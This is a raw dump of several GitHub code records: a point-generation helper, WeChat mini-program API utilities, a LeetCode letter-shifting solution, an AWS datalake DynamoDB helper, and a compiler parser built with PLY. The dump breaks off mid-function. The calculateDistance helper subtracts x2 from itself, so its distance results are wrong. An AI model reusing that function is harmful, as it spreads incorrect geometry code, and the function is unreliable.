f.readlines()\n\t\tfor line in lines:\n\t\t\tline = line.strip(\"\\n\").split(\",\")\n\t\t\tline = list(map(int, line))\n\t\t\tpoints.append(np.array(line))\n\treturn np.array(points)\n\n\ndef calculateDistance(x1,y1,x2,y2):\n\tdist = math.sqrt((x2-x2)**2 + (y2 - y1)**2)\n\treturn dist\n\n\t\t\ndef generate_random(number, rectangle_bounds):\n\tlist_of_points = []\n\tminx, maxx, miny, maxy = rectangle_bounds\n\tcounter = 0\n\twhile counter < number:\n\t\tpnt_coordinates = [np.random.randint(minx,maxx), np.random.randint(miny,maxy)]\n\t\t# make sure the new points are not close to the existing points\n\t\tx2,y2 = pnt_coordinates\n\t\tmin_dst = 1000\n\t\tfor point_this in list_of_points:\n\t\t\tx1,y1 = point_this\n\t\t\tdst_this = calculateDistance(x1,y1,x2,y2)\n\t\t\tif dst_this < min_dst:\n\t\t\t\tmin_dst = dst_this\n\n\t\tprint(min_dst)\n\t\tif pnt_coordinates not in list_of_points and min_dst > 0:\n\t\t\tlist_of_points.append(pnt_coordinates)\n\t\t\tcounter += 1\n\t\telse:\n\t\t\tcontinue\n\tlist_of_points = np.array(list_of_points)\n\tlist_of_points = list_of_points[list_of_points[:,1].argsort()]\n\treturn list_of_points\n\ndef get_rotates(points, rot, rot_pos_ori):\n\tpoints_rotated = []\n\tfor i in range(len(points)):\n\t\tpoints_rotated.append(np.array(rotate(points[i], rot, rot_pos_ori)))\n\tpoints_rotated = np.array(points_rotated)\n\treturn points_rotated\n\t\t\n\t\t\n\t\n\n","repo_name":"jinghanY/physicalAttackImageComposition","sub_path":"AdverseDrive/shape_loss.py","file_name":"shape_loss.py","file_ext":"py","file_size_in_byte":5318,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"42656840745","text":"#!/usr/bin/env python\n# coding: utf-8\n\"\"\"\nAuthor: iceleaf\nDate: 2018-11-02\n\"\"\"\n\nimport json\nimport logging\nimport os.path\nfrom hashlib import md5\n\nimport requests\nfrom django.conf import settings\n\n\ndef fetch_wx_access_token(appid=None, secret=None):\n if not appid:\n appid = settings.WX_APPID\n secret = settings.WX_APPSECRET\n resp = requests.post(settings.REMOTE_ACCESS_TOKEN_URL, data={'appid': appid, \"secret\": secret})\n data = resp.json()\n return data['data']['access_token']\n\n\ndef getWXACode(scene, path=\"/pages/home/home\", is_remote=False, is_hyaline=False):\n \"\"\"\n 获取小程序二维码\n :return:\n \"\"\"\n name = \"%s?%s\" % (path, scene)\n if is_hyaline:\n pic_name = \"qr_%s.png\" % md5(name.encode(\"utf-8\")).hexdigest()\n else:\n pic_name = \"qr_%s.jpg\" % md5(name.encode(\"utf-8\")).hexdigest()\n save_folder = os.path.join(settings.QRCODE_PATH, 'origin')\n if not os.path.exists(save_folder):\n os.mkdir(save_folder)\n save_path = os.path.join(save_folder, pic_name)\n remote_url = \"%s/%s/origin/%s\" % (settings.SITE_HOST, settings.QRCODE_NAME, pic_name)\n return_data = remote_url if is_remote else save_path\n if os.path.exists(save_path):\n return dict(\n code=1,\n msg='success',\n data=return_data\n )\n else:\n token = fetch_wx_access_token()\n url = 'https://api.weixin.qq.com/wxa/getwxacodeunlimit?access_token={}'.format(token)\n params = {\"scene\": scene,\n \"page\": path,\n \"width\": 512,\n \"auto_color\": False,\n \"line_color\": {\"r\": \"0\", \"g\": \"0\", \"b\": \"0\"},\n \"is_hyaline\": is_hyaline\n }\n\n headers = {'Content-Type': 'application/json'}\n resp = requests.post(headers=headers, url=url, data=json.dumps(params))\n try:\n data = json.loads(resp.text)\n logging.error(\"[getWXACode] errcode=%s, errmsg=%s\" % (data['errcode'], data['errmsg']))\n # requests.post(\"http://47.110.95.9:8080/reset_access_token/\", data={'appid': settings.WX_APPID})\n return dict(code=data['errcode'], msg=data['errmsg'])\n except json.JSONDecodeError:\n with open(save_path, 'wb') as fp:\n fp.write(resp.content)\n return dict(\n code=1,\n msg='success',\n data=return_data\n )\n\n\ndef get_wx_session(js_code, app_id):\n if app_id:\n now_app_id = app_id\n now_app_secret = settings.WEAPP_CONFIGS[app_id]['app_secret']\n else:\n now_app_id = settings.WX_APPID\n now_app_secret = settings.WX_APPSECRET\n\n params = dict()\n params['appid'] = now_app_id\n params['secret'] = now_app_secret\n params['js_code'] = js_code\n params['grant_type'] = 'authorization_code'\n url = 'https://api.weixin.qq.com/sns/jscode2session'\n resp = requests.get(url, params)\n\n # 微信服务器访问失败\n if resp.status_code != 200:\n return {\n \"code\": -1,\n 'msg': 'weixin server error, http code: %s body: %s' % (resp.status_code, resp.text)\n }\n\n wx_data = resp.json()\n\n # 接口访问有错误消息\n if wx_data.get(\"errcode\", 0) != 0:\n return {'code': wx_data['errcode'], 'msg': wx_data['errmsg']}\n\n return wx_data\n","repo_name":"ocswor/clendar_backend","sub_path":"apps/common/weixin_utils.py","file_name":"weixin_utils.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33451587988","text":"class Solution:\n def shiftingLetters(self, s: str, shifts: List[List[int]]) -> str:\n n = len(s)\n totalShifts = [0] * (n + 1)\n ans = []\n \n #setting up to calculate how much shift happens for every latter\n for shiftArray in shifts:\n startInd = shiftArray[0]\n endInd = shiftArray[1]\n direction = shiftArray[2]\n \n if direction == 0:\n totalShifts[startInd] += -1\n totalShifts[endInd + 1] += 1\n else:\n totalShifts[startInd] += 1\n totalShifts[endInd + 1] += -1\n \n # calculating the shifts for every latter\n for ind in range(1,n + 1):\n totalShifts[ind] += totalShifts[ind - 1]\n \n \n ## conversion\n for ind in range(n):\n ascii_val_latter = ord(s[ind])\n amount_latter_shift = totalShifts[ind] % 26\n ascii_latter_after_shift = ascii_val_latter + amount_latter_shift \n \n if ascii_latter_after_shift > 122:\n ascii_latter_after_shift = 96 + ascii_latter_after_shift % 122\n \n latter_after_shift = chr(ascii_latter_after_shift) \n ans.append( latter_after_shift)\n \n \n return \"\".join(ans)\n \n \n \n \n \n \n \n \n \n \n \n ","repo_name":"yonasengdu/Compitative-programming","sub_path":"2381-shifting-letters-ii/2381-shifting-letters-ii.py","file_name":"2381-shifting-letters-ii.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"578093287","text":"import datetime\nimport os\nimport re\nimport shutil\n\nimport boto3\nfrom boto3.dynamodb.conditions import Key\n\nfrom datalake_library import octagon\nfrom datalake_library.commons import init_logger\nfrom datalake_library.configuration.resource_configs import DynamoConfiguration\nfrom datalake_library.interfaces.dynamo_interface import DynamoInterface\n\ndynamodbClient = boto3.resource(\"dynamodb\")\nlogger = init_logger(__name__)\n\n\ndef get_current_date():\n return 'COMPLETED#{}T00:00:00.000Z'.format(\n datetime.datetime.utcnow().date().isoformat())\n\n\ndef get_dependent_datasets(team_name, dataset_name):\n dynamo_config = DynamoConfiguration()\n dynamo_interface = DynamoInterface(dynamo_config)\n transform_info = dynamo_interface.get_transform_table_item(\n \"{}-{}\".format(team_name, dataset_name)\n )\n return transform_info[\"dependencies\"]\n\n\ndef get_dynamodb_peh_status(environment, dataset_name, dp_stage, current_date):\n peh_dynamodb_table = dynamodbClient.Table(\n f\"octagon-PipelineExecutionHistory-{environment}\")\n dynamodb_response = peh_dynamodb_table.query(\n IndexName=\"dataset-status_last_updated_timestamp-index\",\n KeyConditionExpression=Key(\"dataset\").eq(dataset_name)\n & Key(\"status_last_updated_timestamp\").gt(current_date),\n )\n status_value = \"\"\n dp_stage_ft = re.sub(r'(? 4:\n quads.genera('canvas', None, dir_constant(p[4], 'ctei'),\n dir_constant(p[7], 'ctei'))\n quads.genera('background', dir_constant(p[10], 'ctef'),\n dir_constant(p[12], 'ctef'),\n dir_constant(p[14], 'ctef'))\n else:\n quads.genera('import', None, None, p[2])\n pila_saltos.append(quads.contador)\n quads.genera('goto',None, None, None)\n\n# Reglas Sintactica para eliminar Shift/Reduce\ndef p_var_func(p):\n '''var_func : tipo ID actualiza_id var_o_func\n | \n var_o_func : PARIZQ crea_func pars PARDER bloque_func funcs\n | crea_var lista_dec vars_lista PUNTCOM var_func'''\n\n# Actualizar el Id actual\ndef p_actualiza_id(p):\n '''actualiza_id : '''\n global id_actual\n id_actual = p[-1]\n p[0] = p[-1]\n\n# Regla sintactica para el tipo posible de variables\ndef p_tipo(p):\n '''tipo : INT actualiza_tipo\n | FLOAT actualiza_tipo'''\n p[0] = p[1]\n\n# Actualizar el Tipo actual\ndef p_actualiza_tipo(p):\n '''actualiza_tipo : '''\n global tipo_actual\n tipo_actual = p[-1]\n\n# Funcion para agregar a la tabla de variables\ndef p_crea_var(p):\n '''crea_var : '''\n global dir_func\n if dir_func[funcion_actual]['tabla_vars'].get(id_actual) == None:\n dir_func[funcion_actual]['tabla_vars'][id_actual] = {'nombre': id_actual, 'tipo':tipo_actual, 'dim': [], 'dir_virtual': 0}\n else:\n print(\"Variable %s already declared.\" %(id_actual))\n sys.exit()\n\n# Funcion para declar una variable dimensionada \ndef p_lista_dec(p):\n '''lista_dec : CORIZQ CTE_I CORDER matriz_dec\n | '''\n global dir_func\n global mapa\n tipo = dir_func[funcion_actual]['tabla_vars'][id_actual]['tipo']\n if len(p) > 2:\n # Si es variable dimensionada\n if p[2] < 1:\n print(\"Dimension must be greater than 1, var %s\" %(id_actual))\n sys.exit()\n tam = 0\n dir_virtual = 0\n # agrega tamanio de primera dimension\n dir_func[funcion_actual]['tabla_vars'][id_actual]['dim'].insert(0,p[2])\n # calcular tamanio de la variable\n if len(dir_func[funcion_actual]['tabla_vars'][id_actual]['dim']) > 1:\n # es matriz\n tam = dir_func[funcion_actual]['tabla_vars'][id_actual]['dim'][0]*dir_func[funcion_actual]['tabla_vars'][id_actual]['dim'][1]\n # actualiza el tamanio de la funcion\n dir_func[funcion_actual]['tamano'] += tam\n else:\n # es vector\n tam = dir_func[funcion_actual]['tabla_vars'][id_actual]['dim'][0]\n # actualiza el tamanio de la funcion\n dir_func[funcion_actual]['tamano'] += tam\n # asigna direccion virtual a la variable\n if funcion_actual == 'global':\n dir_virtual = mapa.creaVarGlobal(tipo, tam)\n else:\n dir_virtual = mapa.creaVarLocal(tipo, tam)\n # actualiza la dir_virtual de la viariable\n dir_func[funcion_actual]['tabla_vars'][id_actual]['dir_virtual'] = dir_virtual\n else:\n # Es variable simple\n dir_func[funcion_actual]['tamano'] += 1\n dir_virtual = 0\n if funcion_actual == 'global':\n dir_virtual = mapa.creaVarGlobal(tipo)\n else:\n dir_virtual = mapa.creaVarLocal(tipo)\n dir_func[funcion_actual]['tabla_vars'][id_actual]['dir_virtual'] = dir_virtual\n\n# Funcion para declar una variable dimensionada de dos dimensiones.\ndef p_matriz_dec(p):\n '''matriz_dec : CORIZQ CTE_I CORDER\n | '''\n global dir_func\n if len(p) > 2:\n # si es matriz\n # agrega tamanio de segunda dimension\n dir_func[funcion_actual]['tabla_vars'][id_actual]['dim'].insert(0,p[2])\n if p[2] < 1:\n print(\"Second dimension must be greater than 1 for variable %s\" %(id_actual))\n sys.exit()\n\n# Define un bloque de funcion.\ndef p_bloque_func(p):\n '''bloque_func : BRAIZQ vars_estatutos RETURN returns BRADER end_sub'''\n global funcion_actual\n funcion_actual = 'global'\n\n# Genera quadruplo fin de funcion o fin de program en caso de modulo main\ndef p_end_sub(p):\n '''end_sub : '''\n global quads\n global mapa\n mapa.finFunc()\n if funcion_actual == 'main':\n quads.genera('end', None, None, None)\n else:\n quads.genera('endproc', None, None, None)\n\n# Reglas Sintacticas de estatutos, algunas agregadas para eliminar Shift/Reduce\ndef p_vars_estatutos(p):\n ''' vars_estatutos : vars estatutos\n | estatutos\n estatutos : estatuto estatutos\n | \n vars : tipo ID actualiza_id crea_var lista_dec vars_lista PUNTCOM mas_vars\n vars_lista : COMA ID actualiza_id crea_var lista_dec vars_lista\n |\n mas_vars : vars\n | \n funcs : func funcs\n |\n func : tipo ID actualiza_id crea_func PARIZQ pars PARDER bloque_func\n | VOID tipo_void ID actualiza_id crea_func PARIZQ pars PARDER bloque_func\n var_func : VOID tipo_void ID actualiza_id crea_func PARIZQ pars PARDER bloque_func funcs'''\n\n# Genera el quadrupllo de retorno para una función\ndef p_returns(p):\n '''returns : expresion PUNTCOM\n | PUNTCOM'''\n global pila_operandos\n global quads\n if len(p) > 2:\n tempRes = pila_operandos.pop()\n quads.genera('return', None, None, tempRes['dir_virtual'])\n\n# Regla sintactica para definir parametros de una funcion.\ndef p_pars(p):\n '''pars : tipo ID actualiza_id crea_var gen_dir par\n | '''\n if len(p) > 1:\n dir_virtual = dir_func[funcion_actual]['tabla_vars'][p[2]]['dir_virtual']\n dir_func[funcion_actual]['secuencia_par'].append({'nombre': p[2], 'tipo': p[1], 'dir_virtual' : dir_virtual})\n\n# Regla sintactica que apoya a definir parametros de una funcion, elimina regla ambigua.\ndef p_par(p):\n '''par : COMA tipo ID actualiza_id crea_var gen_dir par\n | '''\n if len(p) > 1:\n dir_virtual = dir_func[funcion_actual]['tabla_vars'][p[3]]['dir_virtual']\n dir_func[funcion_actual]['secuencia_par'].append({'nombre': p[3], 'tipo': p[2], 'dir_virtual' : dir_virtual})\n\n# Genera direccion virtual para parametro.\ndef p_gen_dir(p):\n '''gen_dir : '''\n global dir_func\n dir_virtual = mapa.creaVarLocal(dir_func[funcion_actual]['tabla_vars'][id_actual]['tipo'])\n dir_func[funcion_actual]['tabla_vars'][id_actual]['dir_virtual'] = dir_virtual\n\n# Actualiza al tipo actual como void.\ndef p_tipo_void(p):\n '''tipo_void : '''\n global tipo_actual\n tipo_actual = p[-1]\n\n# Regla para agregar una funcion al directorio de funciones.\ndef p_crea_func(p):\n '''crea_func : '''\n global quads\n global dir_func\n global funcion_actual\n global mapa\n mapa.defFunc()\n funcion_actual = id_actual\n if dir_func.get(funcion_actual) == None:\n dir_func[funcion_actual] = {'nombre': funcion_actual, 'tipo': tipo_actual, 'secuencia_par': [], 'tabla_vars': {}, 'dir_inicio': quads.contador, 'tamano': 0}\n else:\n print(\"Funcion %s already declared.\" %(funcion_actual))\n sys.exit()\n\n# Funcion para agregar un operador a la pila de operadores.\ndef p_push_oper(p):\n '''push_oper : '''\n global pila_operadores\n pila_operadores.append(p[-1])\n\n# Funcion para sacar un operadorer de la pila de operadores.\ndef pop_oper(operadores):\n global pila_operadores\n global pila_operandos\n global mapa\n if len(pila_operadores) == 0 : return\n pop = False\n # Ver si el operador encima de la pila es uno de los operadores que se deben sacar\n for i in operadores:\n if i == pila_operadores[-1]:\n pop = True\n if pop:\n der = pila_operandos.pop()\n izq = pila_operandos.pop()\n oper = pila_operadores.pop()\n tipo_res = tabla_semantica.tipo(der['tipo'], izq['tipo'], oper)\n if tipo_res != '':\n if tipo_res == 'int':\n dir_virtual = mapa.creaVarLocal('tmpi')\n else:\n dir_virtual = mapa.creaVarLocal('tmpf')\n quads.genera(oper, izq['dir_virtual'], der['dir_virtual'], dir_virtual)\n pila_operandos.append({'nombre': 'temp',\n 'tipo' : tipo_res,\n 'dir_virtual' : dir_virtual})\n else:\n print(\"Type Mismatch.\")\n sys.exit()\n\n# Funcion para sacar el operadorer | de la pila de operadores.\ndef p_pop_or(p):\n '''pop_or : '''\n pop_oper(['|'])\n\n# Funcion para sacar el operadorer & de la pila de operadores.\ndef p_pop_and(p):\n '''pop_and : '''\n pop_oper(['&'])\n\n# Funcion para sacar un operadore relacional de la pila de operadores.\ndef p_pop_rel_e(p):\n '''pop_rel_e : '''\n pop_oper(['!=', '<', '>', '<=', '>=', '=='])\n\n# Funcion para sacar un operador suma o resta de la pila de operadores.\ndef p_pop_suma_resta(p):\n '''pop_suma_resta : '''\n pop_oper(['+', '-'])\n\n# Funcion para sacar un operador multiplica, division o modulo de la pila de operadores.\ndef p_pop_mult_div(p):\n '''pop_mult_div : '''\n pop_oper(['*', '/', '%'])\n\n# Reglas sintacticas de expresiones.\ndef p_expresion(p):\n '''expresion : expr pop_or or_expr\n or_expr : OR push_oper expresion\n | \n expr : exp pop_and and_exp\n and_exp : AND push_oper expr\n | \n exp : e pop_rel_e rel_e\n rel_e : DIF push_oper exp\n | MENOR push_oper exp\n | MAYOR push_oper exp\n | MENIGUAL push_oper exp\n | MAYIGUAL push_oper exp\n | IGUAL push_oper exp\n |\n e : termino pop_suma_resta suma_resta\n suma_resta : SUMA push_oper e\n | RESTA push_oper e\n | \n termino : factor pop_mult_div mult_div \n mult_div : MULT push_oper termino\n | DIV push_oper termino\n | MOD push_oper termino\n | \n factor : PARIZQ push_paren expresion PARDER pop_paren\n | var\n | RESTA var neg\n var : ID actualiza_id push_paren var_func_call pop_paren\n var_func_call : lista'''\n\n# Manejar operador unario menos.\ndef p_neg(p):\n '''neg : '''\n global quads\n oper = pila_operandos.pop()\n if oper['tipo'] == 'int':\n dir_virtual = mapa.creaVarLocal('tmpi')\n else:\n dir_virtual = mapa.creaVarLocal('tmpf')\n quads.genera('*', dir_constant(-1, 'ctei'), oper['dir_virtual'], dir_virtual)\n pila_operandos.append({'nombre': 'temp',\n 'tipo' : oper['tipo'],\n 'dir_virtual' : dir_virtual})\n\n# Agregar constante entera a la pila de operadores.\ndef p_var_int(p):\n '''var : CTE_I'''\n global pila_operandos\n global mapa\n pila_operandos.append({'nombre': p[1],\n 'tipo' : 'int',\n 'dir_virtual' : dir_constant(p[1],'ctei')})\n\n# Agregar constante flotante a la pila de operadores.\ndef p_var_float(p):\n '''var : CTE_F'''\n global pila_operandos\n global mapa\n pila_operandos.append({'nombre': p[1],\n 'tipo' : 'float',\n 'dir_virtual' : dir_constant(p[1],'ctef')})\n\n# Crear fondo falso.\ndef p_push_paren(p):\n '''push_paren : '''\n global pila_operadores\n pila_operadores.append('(')\n\n# Sacar fondo falso.\ndef p_pop_paren(p):\n '''pop_paren : '''\n global pila_operadores\n top = pila_operadores.pop()\n if top != '(':\n print('Error', top) \n sys.exit()\n\n# Agrega la variable a la pila de variabes dimensionadas.\ndef p_push_dim(p):\n '''push_dim : '''\n global id_actual\n global var_dim\n var_dim.append(id_actual)\n\n# Saca la variable a la pila de variabes dimensionadas.\ndef p_pop_dim(p):\n '''pop_dim : '''\n global id_actual\n global var_dim\n id_actual = var_dim.pop()\n\n# Referenciar una variable dimensionada.\ndef p_lista(p):\n '''lista : CORIZQ push_dim expresion CORDER matriz\n | '''\n global dir_func\n global pila_operandos\n if len(p) < 2:\n # No se referencia como variable dimensionada.\n if dir_func[funcion_actual]['tabla_vars'].get(id_actual) != None:\n # Es variable local.\n if len(dir_func[funcion_actual]['tabla_vars'][id_actual]['dim']) > 0:\n # Error es variable dimensionada.\n print(\"Variable %s is Multidimensional\" %(id_actual))\n sys.exit()\n else:\n tipo = dir_func[funcion_actual]['tabla_vars'][id_actual]['tipo']\n dir_virtual = dir_func[funcion_actual]['tabla_vars'][id_actual]['dir_virtual']\n pila_operandos.append({'nombre': id_actual,\n 'tipo' : tipo,\n 'dir_virtual' : dir_virtual})\n elif dir_func['global']['tabla_vars'].get(id_actual) != None:\n # Es variable global.\n if len(dir_func['global']['tabla_vars'][id_actual]['dim']) > 0:\n # Error es variable dimensionada.\n print(\"Variable %s is Multidimensional\" %(id_actual))\n sys.exit()\n else:\n tipo = dir_func['global']['tabla_vars'][id_actual]['tipo']\n dir_virtual = dir_func['global']['tabla_vars'][id_actual]['dir_virtual']\n pila_operandos.append({'nombre': id_actual,\n 'tipo' : tipo,\n 'dir_virtual' : dir_virtual})\n else:\n # No es variable.\n print(\"Variable %s not declared.\" %(id_actual))\n sys.exit()\n\n# Genera los cuapruplos necesarios para indexar la casilla de una matriz.\ndef matrix_def(funcion_actual):\n global dir_func\n global pila_operandos\n global quads\n d2 = pila_operandos.pop()\n d1 = pila_operandos.pop()\n if d1['tipo'] != 'int' or d2['tipo'] != 'int':\n # verifica que ambos indices sean enteros.\n print(\"Indices must be integers\")\n sys.exit()\n d2 = d2['dir_virtual']\n d1 = d1['dir_virtual']\n tipo = dir_func[funcion_actual]['tabla_vars'][id_actual]['tipo']\n # genera direcciones vurtuales necesarias.\n if tipo == 'int':\n dir_virtual = mapa.creaVarLocal('tmpi')\n dir_virtual2 = mapa.creaVarLocal('tmpi')\n ptr = mapa.creaVarLocal('ptri')\n else:\n dir_virtual = mapa.creaVarLocal('tmpf')\n dir_virtual2 = mapa.creaVarLocal('tmpf')\n ptr = mapa.creaVarLocal('ptrf')\n # sacar direccion de cero de la tabla de constantes como limite inferior.\n li = dir_constant(0,'ctei')\n # sacar direccion de limite superior de primera dimension de la tabla de constantes.\n ls1 = dir_constant(dir_func[funcion_actual]['tabla_vars'][id_actual]['dim'][0] - 1,'ctei')\n # sacar direccion de limite superior de segunda dimension de la tabla de constantes.\n ls2 = dir_constant(dir_func[funcion_actual]['tabla_vars'][id_actual]['dim'][1] - 1,'ctei')\n # sacar direccion de tamanio de primera dimension.\n tam = dir_constant(dir_func[funcion_actual]['tabla_vars'][id_actual]['dim'][0], 'ctei')\n # genera cuadruplo ver de primera dimension.\n quads.genera('ver', d1, li, ls1)\n # multiplica primer indice por su tamanio\n quads.genera('*', d1, tam, dir_virtual)\n # genera cuadruplo ver de segunda dimenion.\n quads.genera('ver', d2, li, ls2)\n # suma segunda dimension \n quads.genera('+', d2, dir_virtual, dir_virtual2)\n # sacar la direccion base.\n dirB = dir_func[funcion_actual]['tabla_vars'][id_actual]['dir_virtual']\n # suma el indice calculador a la direccion base.\n quads.genera('+', dir_constant(dirB, 'ctei'), dir_virtual2, ptr)\n # meter el apuntador desreferenciado en la pila de operandos.\n pila_operandos.append({'nombre': 'ptr', 'tipo' : tipo, 'dir_virtual': '~' + str(ptr)})\n\n# Genera los cuapruplos necesarios para indexar la casilla de un vector.\ndef vect_def(funcion_actual):\n global dir_func\n global pila_operandos\n global quads\n d1 = pila_operandos.pop()\n if d1['tipo'] != 'int':\n # verifica que indice sea entero.\n print(\"Indices must be integers\")\n sys.exit()\n d1 = d1['dir_virtual']\n tipo = dir_func[funcion_actual]['tabla_vars'][id_actual]['tipo']\n # genera la direccion del apuntador\n if tipo == 'int':\n dir_virtual = mapa.creaVarLocal('ptri')\n else:\n dir_virtual = mapa.creaVarLocal('ptrf')\n # sacar direccion de cero de la tabla de constantes como limite inferior.\n li = dir_constant(0,'ctei')\n # sacar direccion de limite superior de la tabla de constantes.\n ls = dir_constant(dir_func[funcion_actual]['tabla_vars'][id_actual]['dim'][0] - 1,'ctei')\n # genera cuadruplo ver.\n quads.genera('ver', d1, li, ls)\n # sacar la direccion base.\n dirB = dir_func[funcion_actual]['tabla_vars'][id_actual]['dir_virtual']\n # suma el indice a la direccion base.\n quads.genera('+', dir_constant(dirB, 'ctei'), d1, dir_virtual)\n # meter el apuntador desreferenciado en la pila de operandos.\n pila_operandos.append({'nombre': 'ptr', 'tipo' : tipo, 'dir_virtual' : '~' + str(dir_virtual)})\n\n# Regla sintactica para matrices.\ndef p_matriz(p):\n '''matriz : CORIZQ expresion CORDER pop_dim\n | pop_dim'''\n global dir_func\n if len(p) > 2:\n # Variable se referencia como Matriz.\n if dir_func[funcion_actual]['tabla_vars'].get(id_actual) != None:\n # Es variable local.\n if len(dir_func[funcion_actual]['tabla_vars'][id_actual]['dim']) < 2:\n # Variable es Vector y no Matriz.\n print(\"Variable %s is vector not matrix\" %(id_actual))\n sys.exit()\n else:\n # Generar cuadruplos para calcular la direccion necesaria.\n matrix_def(funcion_actual)\n elif dir_func['global']['tabla_vars'].get(id_actual) != None:\n # Es variable global.\n if len(dir_func['global']['tabla_vars'][id_actual]['dim']) < 2:\n # Variable es Vector y no Matriz.\n print(\"Variable %s is vector not matrix\" %(id_actual))\n sys.exit()\n else:\n # Generar cuadruplos para calcular la direccion necesaria.\n matrix_def('global')\n else:\n # No es variable.\n print(\"Variable %s not declared.\" %(id_actual))\n sys.exit()\n else:\n # Variable se referencia como Vector.\n if dir_func[funcion_actual]['tabla_vars'].get(id_actual) != None:\n # Es variable local.\n if len(dir_func[funcion_actual]['tabla_vars'][id_actual]['dim']) > 1:\n # Es matriz y no vector.\n print(\"Variable %s is matrix not vector\" %(id_actual))\n sys.exit()\n else:\n # Generar cuadruplos para calcular la direccion necesaria.\n vect_def(funcion_actual)\n elif dir_func['global']['tabla_vars'].get(id_actual) != None:\n # Es variable local.\n if len(dir_func['global']['tabla_vars'][id_actual]['dim']) > 1:\n # Es matriz y no vector.\n print(\"Variable %s is matrix not vector\" %(id_actual))\n sys.exit()\n else:\n # Generar cuadruplos para calcular la direccion necesaria.\n vect_def('global')\n else:\n print(\"Variable %s not declared.\" %(id_actual))\n sys.exit()\n\n# Reglas sintacticas para estatutos y bloques.\ndef p_estatuto(p):\n '''estatuto : asignacion\n | condicion\n | escritura\n | ciclo\n | instruccion\n | void_func_call PUNTCOM\n bloque : BRAIZQ estatutos BRADER '''\n\n# Reglas sintacticas para llamadas de funcion.\ndef p_func_call(p):\n '''void_func_call : ID actualiza_id actualiza_func is_void PARIZQ args gen_era PARDER gen_gosub\n var_func_call : PARIZQ actualiza_func args gen_era PARDER gen_gosub\n args : expresion asig_par arg\n |\n arg : COMA args\n | '''\n\n# Asegurar que solo funciones void son estatutos.\ndef p_is_void(p):\n '''is_void :'''\n global func_call\n global dir_func\n if dir_func[func_call[-1]['func']]['tipo'] != 'void':\n print(\"Function %s has a return value and must be inside an expression.\" %(func_call[-1]['func']))\n sys.exit()\n\n# Regla que actualiza la llamad a funcion actual y verifcia que exista en el directorio de funciones.\ndef p_actualiza_func(p):\n '''actualiza_func :'''\n global func_call\n global dir_func\n if dir_func.get(id_actual) != None:\n func_call.append({'func' : id_actual, 'pars' : []})\n else:\n print(\"Function %s not defined, functions must be defined before calling them.\"%(id_actual))\n sys.exit()\n\n# Funcion que genera quadruplo era\ndef p_gen_era(p):\n '''gen_era : '''\n global quads\n global dir_func\n global num_args\n global func_call\n func_actual = func_call[-1]\n num_args = 0\n if dir_func.get(func_actual['func']) != None:\n quads.genera('era', None, None, len(dir_func[func_actual['func']]['secuencia_par']))\n else:\n print(\"Function\", func_actual['func'],\" not declared\")\n sys.exit()\n\n# Funcion que genera quadruplos gosub y param\ndef p_gen_gosub(p):\n '''gen_gosub : '''\n global quads\n global mapa\n global pila_operandos\n global func_call\n func_actual = func_call.pop()\n for pars in func_actual['pars']:\n quads.genera('param',pars[0], func_actual['func'], pars[1])\n quads.genera('gosub', None, func_actual['func'], dir_func[func_actual['func']]['dir_inicio'])\n tipo = dir_func[func_actual['func']]['tipo']\n if tipo != 'void':\n if tipo == 'int':\n retorno = mapa.creaVarLocal('tmpi')\n else:\n retorno = mapa.creaVarLocal('tmpf')\n quads.genera('=', None, None, retorno)\n pila_operandos.append({'nombre': retorno,\n 'tipo' : dir_func[func_actual['func']]['tipo'],\n 'dir_virtual' : retorno})\n\n# Funcion para asignar direcciones virtuales a los parametros.\ndef p_asig_par(p):\n '''asig_par : '''\n global pila_operandos\n global dir_func\n global num_args\n global quads\n global func_call\n arg = pila_operandos.pop()\n func_actual = func_call[-1]\n pars = dir_func[func_actual['func']]['secuencia_par']\n tam = len(pars)\n if num_args < tam:\n if pars[tam - num_args - 1]['tipo'] == arg['tipo']:\n func_call[-1]['pars'].append([arg['dir_virtual'], pars[tam - num_args - 1]['dir_virtual']])\n else:\n print(\"Type Mismatch\") \n sys.exit()\n else:\n print(\"Function\", func_actual['func'], \"Wrong Number of Arguments\", num_args, tam)\n sys.exit()\n num_args += 1\n\ndef p_asignacion(p):\n '''asignacion : ID actualiza_id lista ASIG exp_input PUNTCOM'''\n global quads\n global dir_func\n global pila_operandos\n global asig_input\n if asig_input:\n asig_input = False\n tempAsig = pila_operandos.pop()\n if dir_func[funcion_actual]['tabla_vars'].get(p[1]) == None and dir_func['global']['tabla_vars'].get(p[1]) == None:\n print(\"Variable %s not declared.\" %(p[1]))\n sys.exit()\n quads.genera('input', None, None, tempAsig['dir_virtual'])\n else:\n tempRes = pila_operandos.pop()\n tempAsig = pila_operandos.pop()\n if dir_func[funcion_actual]['tabla_vars'].get(p[1]) == None and dir_func['global']['tabla_vars'].get(p[1]) == None:\n print(\"Variable %s not declared.\" %(p[1]))\n sys.exit()\n if tempRes['tipo'] == 'int' or tempRes['tipo'] == 'float':\n quads.genera('=', tempRes['dir_virtual'], None, tempAsig['dir_virtual'])\n else:\n print('Type Mismatch')\n sys.exit()\n\n# Asignacion una expresion\ndef p_exp_input(p):\n '''exp_input : expresion'''\n\n# Asignacion una entrada de consola\ndef p_input(p):\n '''exp_input : INPUT PARIZQ PARDER'''\n global asig_input\n asig_input = True\n\n# Reglas sintacticas de una condicion.\ndef p_condicion(p):\n '''condicion : IF PARIZQ expresion fin_exp PARDER bloque else_bloque fin_cond\n else_bloque : ELSE inicio_else bloque\n | '''\n\n# Funcion para rellenar el quadruplo con el fin condicion.\ndef p_fin_cond(p):\n '''fin_cond : '''\n global quads\n global pila_saltos\n quads.rellena(pila_saltos.pop())\n\n# Funcion para marcar el inicio de un (else) generando el quadruplo goto.\ndef p_inicio_else(p):\n '''inicio_else : '''\n global quads\n global pila_saltos\n quads.genera('goto', None, None, None)\n falso = pila_saltos.pop()\n pila_saltos.append(quads.contador - 1)\n quads.rellena(falso)\n\n# Funcion para rellenar el fin de expresion con el quadruplo gotof.\ndef p_fin_exp(p):\n '''fin_exp : '''\n global quads\n global pila_operandos\n global pila_saltos\n val_esp = pila_operandos.pop()\n if val_esp['tipo'] == 'int':\n quads.genera('gotof', val_esp['dir_virtual'], None, None)\n pila_saltos.append(quads.contador - 1)\n else:\n print(\"Type Mismatch\") \n sys.exit()\n\n# Regla sintactica del ciclo.\ndef 